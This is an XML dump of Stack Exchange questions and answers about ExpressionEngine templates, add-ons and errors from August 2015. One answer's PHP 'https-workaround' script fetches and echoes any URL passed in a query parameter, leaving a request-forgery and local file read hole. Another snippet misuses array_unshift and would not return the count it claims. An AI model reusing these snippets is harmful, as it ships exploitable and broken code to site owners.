  <row Id="32718" PostTypeId="2" ParentId="32717" CreationDate="2015-08-18T19:19:58.073" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template routes! These things are your friend. On your template, you want to set a template route that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/recipes/{section:category}/{section:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set that template to require all routes. Then bam:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{segment_1}&quot; category=&quot;{segment_2}&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;      {exp:ifelse parse=&quot;inward&quot;}&#xA;            {if no_results}&#xA;                    {redirect=&quot;error/404&quot;}&#xA;            {/if}&#xA;       {/exp:ifelse}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should do the trick, no?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-18T19:19:58.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32719" PostTypeId="2" ParentId="32711" CreationDate="2015-08-18T21:09:48.487" Score="0" Body="&lt;p&gt;Summary: you should be using the category parameter in the channel entries loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue here is that you're displaying your entries within the {categories} tag pair; the typical use-case of {categories} is to build a category list, just like you have in the first tile of your layout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot;}&#xA;    {categories}... this gets looped through multiple times ... {categories}&#xA;{exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suggest installing &lt;a href=&quot;https://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;URL Helper&lt;/a&gt;, which would allow you to have a URL like example.com/portfolio/education - URL Helper will then give you the category ID of segment 2 - {segment_2_category_id} - which you can use as the parameter in your channel entries loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; dynamic=&quot;no&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;    {!-- channel fields here, without any {categories} tags --}&#xA;{exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-08-18T21:09:48.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32720" PostTypeId="2" ParentId="32695" CreationDate="2015-08-18T21:17:14.583" Score="1" Body="&lt;p&gt;I'd start by commenting out sections of the code to isolate which field(s) are throwing the errors - once you do that, you should be able to track down what the issue is; I think I've seen bugs like this when there are poorly handled single/double/curly quotes in fields.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-08-18T21:17:14.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32721" PostTypeId="2" ParentId="23912" CreationDate="2015-08-18T21:20:30.917" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;URL Helper&lt;/a&gt; is a better/safer way to handle something like this.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-08-18T21:20:30.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32722" PostTypeId="2" ParentId="32710" CreationDate="2015-08-18T21:37:01.210" Score="0" Body="&lt;p&gt;For a quick work-around, you could write a quick PHP script that fetches the external URL over HTTPS and spits it back out over HTTP. You could save this as &quot;https-workaround.php&quot;, and prepend the new HTTPS urls in your template with &quot;&lt;a href=&quot;http://yourdomain.example.com/some-folders/https-workaround.php?feed=&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.example.com/some-folders/https-workaround.php?feed=&lt;/a&gt;&quot; and you should be all set. If it throws an error, it could very well be the same PHP issue that's preventing the add-on from working, and, correcting it may fix it without the need for using this new script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(!isset($_GET['feed'])){&#xA;    echo &quot;Error: no feed URL was provided. Please include the url of the feed you'd like to decode, e.g. &quot; . $_SERVER['PHP_SELF'] . &quot;?feed=http://www.example.com/feed.xml&quot; ;&#xA;    die();&#xA;}else{&#xA;&#xA;    // Need this for XML or some services return data in a JSON format instead&#xA;    $context = stream_context_create(array(&#xA;        'http' =&amp;gt; array(&#xA;            'method' =&amp;gt; 'GET',&#xA;            'header' =&amp;gt; &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;                               &#xA;        )&#xA;    ));&#xA;&#xA;    // Grab the URL specified by ?feed= and fetch it with our HTML/XML only headers&#xA;    $fileContents = file_get_contents($_GET['feed'], false, $context);&#xA;&#xA;    // Output the feed&#xA;    echo $fileContents;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-08-18T21:37:01.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32723" PostTypeId="1" AcceptedAnswerId="32727" CreationDate="2015-08-19T00:52:06.647" Score="1" ViewCount="270" Body="&lt;p&gt;I need to display a message if an entry is more than 90 days old. The below code doesn't appear to be working, any tips on how to get this done?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time} &amp;gt; {entry_date} + 7776000 }&#xA;    &amp;lt;div id=&quot;message&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Your safety training is out of date.&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2015-08-20T16:48:50.800" Title="Compare entry date with 90 days ahead" Tags="|date|comparison|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32724" PostTypeId="2" ParentId="32707" CreationDate="2015-08-19T06:56:07.820" Score="0" Body="&lt;p&gt;If it can help anyone, here is how I solved it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Forget the plugin idea&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Allow PHP on input in the template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Query the database to get the custom member profile field value&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $member_id = ee()-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;&#xA;    if ( $member_id ) {&#xA;&#xA;        $results = ee()-&amp;gt;db-&amp;gt;select('m_field_id')&#xA;            -&amp;gt;from('exp_member_data')&#xA;            -&amp;gt;where(array(&#xA;                'member_id' =&amp;gt; $member_id&#xA;            ))&#xA;            -&amp;gt;get();&#xA;&#xA;        $value = $results-&amp;gt;row('m_field_id');&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4 - echo the php value in the template tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field_&amp;lt;?=$value?&amp;gt;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2015-08-19T06:56:07.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32725" PostTypeId="1" CreationDate="2015-08-19T14:16:10.767" Score="0" ViewCount="161" Body="&lt;p&gt;I am using channel forms to publish articles and would like to use inline errors but when I have this enabled I get an error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined property: EE::$view&#xA;Filename: libraries/File_field.php&#xA;Line Number: 704&#xA;Fatal error: Call to a member function head_link() on a non-object in /web/nifootball2/system/expressionengine/libraries/File_field.php on line 704&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:form channel=&quot;reports&quot; return=&quot;clubhouse/fixtures&quot; class=&quot;sky-form&quot; rules:report_body=&quot;required|min_length[50]&quot; error_handling=&quot;inline&quot; }&#xA;                     &amp;lt;header&amp;gt;Publish Match Report&amp;lt;/header&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;report_match&quot; value=&quot;{segment_3}&quot; /&amp;gt;  &#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;report_club&quot; value=&quot;{club_name}&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;report_club_url&quot; value=&quot;{club_url_title}&quot;&amp;gt;&#xA;&#xA;                      &amp;lt;fieldset&amp;gt;   &#xA;                      &amp;lt;section&amp;gt;&#xA;                            &amp;lt;label class=&quot;label&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;                                    {exp:teammanager:club_team_match match_id=&quot;{segment_3}&quot; team_id=&quot;{segment_4}&quot; }&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{match_report_type} - {home_team_name} v {away_team_name} {match_date}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; &amp;gt;&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{match_report_type}-{home_team_url}-v-{away_team_url}-{match_date}&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;                                    {match_report_type} - {home_team_name} v {away_team_name} {match_date}&#xA;                                    {/exp:teammanager:club_team_match}&#xA;&#xA;                                &amp;lt;/section&amp;gt;&#xA;&#xA;                         &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                           &amp;lt;fieldset&amp;gt;  &#xA;                           &amp;lt;section&amp;gt;&#xA;                       &amp;lt;label class=&quot;label&quot;&amp;gt;Report Body&amp;lt;/label&amp;gt;&#xA;                                      {error:report_body}&#xA;                                    {field:report_body}&#xA;                            &amp;lt;/section&amp;gt;&#xA;                           &amp;lt;/fieldset&amp;gt;   &#xA;&#xA;                           &amp;lt;fieldset&amp;gt;  &#xA;                            &amp;lt;section&amp;gt;&#xA;                            &amp;lt;label class=&quot;label&quot;&amp;gt;Cover Image&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Add a cover image for the Article to be displayed beside the Article snippet on the Reports lists and at the top of the full article.&amp;lt;/p&amp;gt;&#xA;                                {field:report_image}&#xA;                            &amp;lt;/section&amp;gt;&#xA;&#xA;                            &amp;lt;/fieldset&amp;gt;  &#xA;&#xA;                            &amp;lt;footer&amp;gt;&#xA;                                &amp;lt;button type=&quot;submit&quot; class=&quot;btn-u&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;                            &amp;lt;/footer&amp;gt;&#xA;                        {/exp:channel:form}&#xA;                        &amp;lt;!-- End Publish Report Form--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5029" LastEditorUserId="5029" LastEditDate="2015-08-28T20:43:16.810" LastActivityDate="2016-06-17T20:40:53.223" Title="Channel form problem when using inline errors" Tags="|safecracker|wygwam|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32726" PostTypeId="1" AcceptedAnswerId="32758" CreationDate="2015-08-19T14:35:50.530" Score="0" ViewCount="177" Body="&lt;p&gt;I have a primary exp:low_search:results loop which the user can filter using low search form. The form updates the URL using normal query strings. So /index?foo=bar displays matches where field foo is equal to bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simultaneously, I have a Count in the header which tallies all matches from that same channel with a certain special criteria:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:low_search:results channel=&quot;my_channel&quot; status=&quot;special_status&quot;}{if count == 1}{total_results}{/if}{/exp:low_search:results}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is that when we pass &quot;?foo=bar&quot; in the URL, there is no way to avoid having it affect the count query as well. So the count is incorrect on results pages for this channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also have a global search page using a &quot;keywords=foo&quot; query parameter, and it affects the count query too. Is there a way we can tell the count query to ignore parameters in the URL, or must we re-write the count query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6582" LastActivityDate="2015-08-21T09:02:00.083" Title="Low Search: Ignore query params?" Tags="|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32727" PostTypeId="2" ParentId="32723" CreationDate="2015-08-19T14:43:56.970" Score="0" Body="&lt;p&gt;You can't do math in an EE template without an an add-on; &lt;a href=&quot;https://devot-ee.com/add-ons/will-hunting&quot; rel=&quot;nofollow&quot;&gt;Will Hunting&lt;/a&gt; is my favorite, although there are others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: You couldn't do math in an EE template, within a conditonal, until the relatively recent EE 2.9.0; if you have an older install than that, you have to upgrade and/or use the add-on I mentioned.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2015-08-19T15:59:46.340" LastActivityDate="2015-08-19T15:59:46.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32728" PostTypeId="1" CreationDate="2015-08-19T14:45:38.533" Score="0" ViewCount="42" Body="&lt;p&gt;Do you guys know of a library where there's sample queries to retrieve info like how many pages are in a specific site ect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is a custom select statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="6583" LastActivityDate="2016-05-31T01:42:34.563" Title="Custom SQL query to retrieve info" Tags="|ee1|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32729" PostTypeId="2" ParentId="32723" CreationDate="2015-08-19T14:52:52.867" Score="0" Body="&lt;p&gt;It's proably becasue the tag in normal format outputs a string representation of the date, try the below which causes the output to be done as a UNIX Epoch time : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Tested on EE 2.7.1)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%U&quot;} &amp;gt; ( {entry_date format=&quot;%U&quot;} + 7776000 ) }&#xA;  &amp;lt;div id=&quot;message&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;Your safety training is out of date.&amp;lt;/h4&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or , you could use a PHP flavour (if EE is having a string/number issue in the tags) : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP On Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if ( intval('{current_time format=&quot;%U&quot;}') &amp;gt; ( intval('{entry_date format=&quot;%U&quot;}') + 7776000 ) { ?&amp;gt;&#xA;    &amp;lt;div id=&quot;message&quot;&amp;gt;&#xA;      &amp;lt;h4&amp;gt;Your safety training is out of date.&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-08-20T16:48:50.800" LastActivityDate="2015-08-20T16:48:50.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32730" PostTypeId="2" ParentId="32728" CreationDate="2015-08-19T15:02:47.533" Score="0" Body="&lt;p&gt;I'll give you an example in PHP (within EE of course) here, this will count all posts in a channel, and I assume you drive your pages of a channel too : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  //count all Open posts in Channel 1, of site ID 1&#xA;  $res = ee()-&amp;gt;db-&amp;gt;select(&quot;COUNT(*) AS 'total'&quot;)&#xA;             -&amp;gt;from('channel_entries')&#xA;             -&amp;gt;where('status','open')&#xA;             -&amp;gt;where('channel_id','1')&#xA;             -&amp;gt;where('site_id','1')&#xA;             -&amp;gt;get();&#xA;  $totalChannel1Posts = 0;&#xA;  if ( $res-&amp;gt;num_rows() &amp;gt; 0 ) {&#xA;    $res = array_unshift($res-&amp;gt;result_array());&#xA;    $totalChannel1Posts = $res['total'];&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that any help?? Of course you can work out the query itself from the above too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, are you looking for some sort of site crawler? Because EE itself has no concept of a 'page', but rather templates that could be static or dynamic pages, a router and channels to store similar data, which in turn use a dynamic template to provide a new 'page' with entry specific data...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be best off using something like google to count your pages!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-08-20T13:13:16.620" LastActivityDate="2015-08-20T13:13:16.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32731" PostTypeId="2" ParentId="32726" CreationDate="2015-08-19T15:07:09.373" Score="0" Body="&lt;p&gt;Are you looking for the total posts in the channel, as opposed to the total search results in the channel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so use a standard &lt;code&gt;channel:entries&lt;/code&gt; tag to get your total, then use the search results tag for the results?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-08-19T15:07:09.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32732" PostTypeId="2" ParentId="32725" CreationDate="2015-08-19T16:32:32.530" Score="0" Body="&lt;p&gt;Seems this is reported elsewhere, and here. One solution would be as so : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Core Edits - Danger, there be pirates!!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File : /system/expressionengine/libraries/File_field.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line : 699 -&gt; 705 (EE 2.10.0 ) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Add the file browser CSS to the head&#xA; */&#xA;private function _browser_css()&#xA;{&#xA;    ee()-&amp;gt;cp-&amp;gt;add_to_head(ee()-&amp;gt;view-&amp;gt;head_link('css/file_browser.css'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change this function as so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Add the file browser CSS to the head&#xA; */&#xA;private function _browser_css()&#xA;{&#xA;    ee()-&amp;gt;load-&amp;gt;library('view');&#xA;    ee()-&amp;gt;cp-&amp;gt;add_to_head(ee()-&amp;gt;view-&amp;gt;head_link('css/file_browser.css'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because the error is coplaining that if there's errors it can't add the css for the file field, this is becasue &lt;code&gt;ee()-&amp;gt;view&lt;/code&gt; does not exist. The extra line above ensures it's loaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is untested so please let me know how you fare...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-08-19T16:32:32.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32734" PostTypeId="2" ParentId="32694" CreationDate="2015-08-19T18:11:33.570" Score="0" Body="&lt;p&gt;Not the best solution by any means, but you can also use JS to prevent anything but numbers and decimal points from being entered.  I do this on CC forms.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$('#fieldID').on('keypress', function(evt) {&#xA;var charCode = (evt.which) ? evt.which : event.keyCode;&#xA;return !(charCode != 46 &amp;amp;&amp;amp; charCode &amp;gt; 31 &amp;amp;&amp;amp; (charCode &amp;lt; 48 || charCode &amp;gt; 57));&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6088" LastActivityDate="2015-08-19T18:11:33.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32735" PostTypeId="2" ParentId="32603" CreationDate="2015-08-19T20:28:56.043" Score="1" Body="&lt;p&gt;This is the final working accessory for everyone to use. If you make mods, please post them here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * ExpressionEngine Developer Accessory&#xA; *&#xA; * @package     Synch Templates fix&#xA; * @category    Accessory&#xA; * @description Shows only CHANGED templates in Synchronize templates view&#xA; * @author      MB34&#xA; */&#xA;&#xA;&#xA;class Synch_templates_acc&#xA;{&#xA;    var $name           = 'Fix Synch Templates';&#xA;    var $id             = 'default_value';&#xA;    var $version        = '1.0';&#xA;    var $description    = 'Shows only CHANGED templates in Synchronize templates view';&#xA;    var $sections       = array();&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     */&#xA;    function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    } &#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;    * Set Sections&#xA;    */&#xA;    function set_sections()&#xA;    {&#xA;        // hide accessory from footer tabs&#xA;        $this-&amp;gt;sections[] = '&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;$(&quot;#accessoryTabs a.default_value&quot;).parent().remove();&amp;lt;/script&amp;gt;';&#xA;&#xA;        // add css, js and html&#xA;        $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_foot('&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            $(document).ready(function(){&#xA;                var table = document.getElementById(&quot;entries&quot;);&#xA;                for (var i = table.rows.length-1, row; row = table.rows[i]; i--) {&#xA;                    if(row.parentElement.nodeName != &quot;THEAD&quot;) {&#xA;                        //iterate through rows&#xA;                        //rows would be accessed using the &quot;row&quot; variable assigned in the for loop&#xA;                        col = row.cells[5];&#xA;                        if(col.firstChild &amp;amp;&amp;amp; col.firstChild.nodeType != 3) {&#xA;                            if(col.firstChild.nodeName != &quot;INPUT&quot;) {&#xA;                                row.remove();&#xA;                            }&#xA;                        }&#xA;                    }&#xA;                }    &#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;        ');&#xA;    }&#xA;&#xA;}&#xA;// END CLASS&#xA;&#xA;/* End of file acc.synch_templates.php */&#xA;/* Location: ./system/expressionengine/third_party/synch_templates/acc.synch_templates.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-08-19T20:28:56.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32736" PostTypeId="1" CreationDate="2015-08-20T09:19:18.770" Score="0" ViewCount="24" Body="&lt;p&gt;I know there are alternatives but does anyone know how to set up the interest groups field when using SL Mailchimp Subscribe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've currently got a checkbox field containing the different Interest groups set up on the Mailchimp Mailing list but I'm unsure what values to use for each checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing in the documentation about this feature and an old video I found just shows the use of a dropdown field but with no indication of how that is actually configured.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2016-05-31T12:47:28.977" Title="Adding interest groups when using SL Mailchimp Subscribe" Tags="|mailchimp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32737" PostTypeId="2" ParentId="32736" CreationDate="2015-08-20T09:26:57.937" Score="0" Body="&lt;p&gt;You just use the names of the Interest Groups as the checkbox values! Duh!&#xA;Easy when you don't overthink things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mailchimp accepts a comma delimited string of the group names. So if you use checkboxes it will only ever set one interest group. To set multiple groups you need to send the content from a plain text input.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-08-20T11:03:16.400" LastActivityDate="2015-08-20T11:03:16.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32738" PostTypeId="1" CreationDate="2015-08-20T11:24:16.750" Score="0" ViewCount="300" Body="&lt;p&gt;We moved a site into a sub folder while we upgrade it, so the site is now at: mysite.com/2014/ .  Everything seems to be ok, except CE Image is not returning any images.  I've tried all variations on the CE Image tags, but we get nothing.  I've checked that the folders have 777 permissions.  The code below should be returning the image url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{exp:ce_img:single src='{event_image}' width='225' height='225' crop='yes' allow_scale_larger='yes' url_only='yes'}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But all I get is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&quot; alt=&quot;Ferris wheel&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've switched on debugging and get the following errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;***  CE Image debug: Base path: '/chroot/home/winter14/public_html/'&#xA;(0.728373 / 24.88MB)        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE Image debug: Base path: '/home/winter14/public_html/2014/'&#xA;(0.806898 / 27.42MB)        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;***  CE Image debug: Source image: '&lt;a href=&quot;http://www.example.com/2014/uploads/events/ice.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/2014/uploads/events/ice.jpg&lt;/a&gt;', Fallback image: ''&#xA;(0.806906 / 27.42MB)     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;***  CE Image debug: Source image is not readable or does not exist: '/2014/uploads/events/ice.jpg'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(0.806914 / 27.42MB)       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;***  CE Image debug: Fallback source image is not readable or does not exist: ''.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-08-20T14:09:10.473" Title="CE Image - Source image is not readable or does not exist" Tags="|ce-image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32739" PostTypeId="1" AcceptedAnswerId="32740" CreationDate="2015-08-20T11:49:48.593" Score="0" ViewCount="72" Body="&lt;p&gt;An existing site running CT 2.5 and EE 2.7.3 with SagePay (server) has suddenly stopped working on the LIVE server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I thought it might be due to the recent SagePay API update to v3.0, so I have updated the gateway files provided by the new owners Vector Media Group but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error presented is as follows: &quot;4020 : Information received from an Invalid IP address.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously this was working so I know the valid IP's were setup and were ok, so I'm not sure why else this error would be present?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this error appears before getting onto the SagePay server, after submitting the checkout form to go to SagePay it stops and this error shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas anyone please, I'm stumped at the moment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with I'm looking for ideas without having to update both EE and CT please! Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2015-08-20T12:09:04.667" Title="Cartthrob with SagePay suddenly stopped working; error 4020" Tags="|cartthrob|checkout|sagepay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32740" PostTypeId="2" ParentId="32739" CreationDate="2015-08-20T12:09:04.667" Score="1" Body="&lt;p&gt;(I'm with Vector; we make CartThrob)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error is coming directly from SagePay and honestly, is usually exactly what it sounds like: your server is making a request from an IP that's not whitelisted in SagePay's system, so they're rejecting it. Common causes of this include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're using a VPS or cloud server and the IP has changed&lt;/li&gt;&#xA;&lt;li&gt;You're using a server that has different IP addresses to make outgoing requests than the ones used for DNS (this is common on some cPanel/WHM servers)&lt;/li&gt;&#xA;&lt;li&gt;Your IP has recently changed. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should definitely consider contacting SagePay to see if they can somehow tell you what IP your requests are coming from so they can be whitelisted. &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-08-20T12:09:04.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
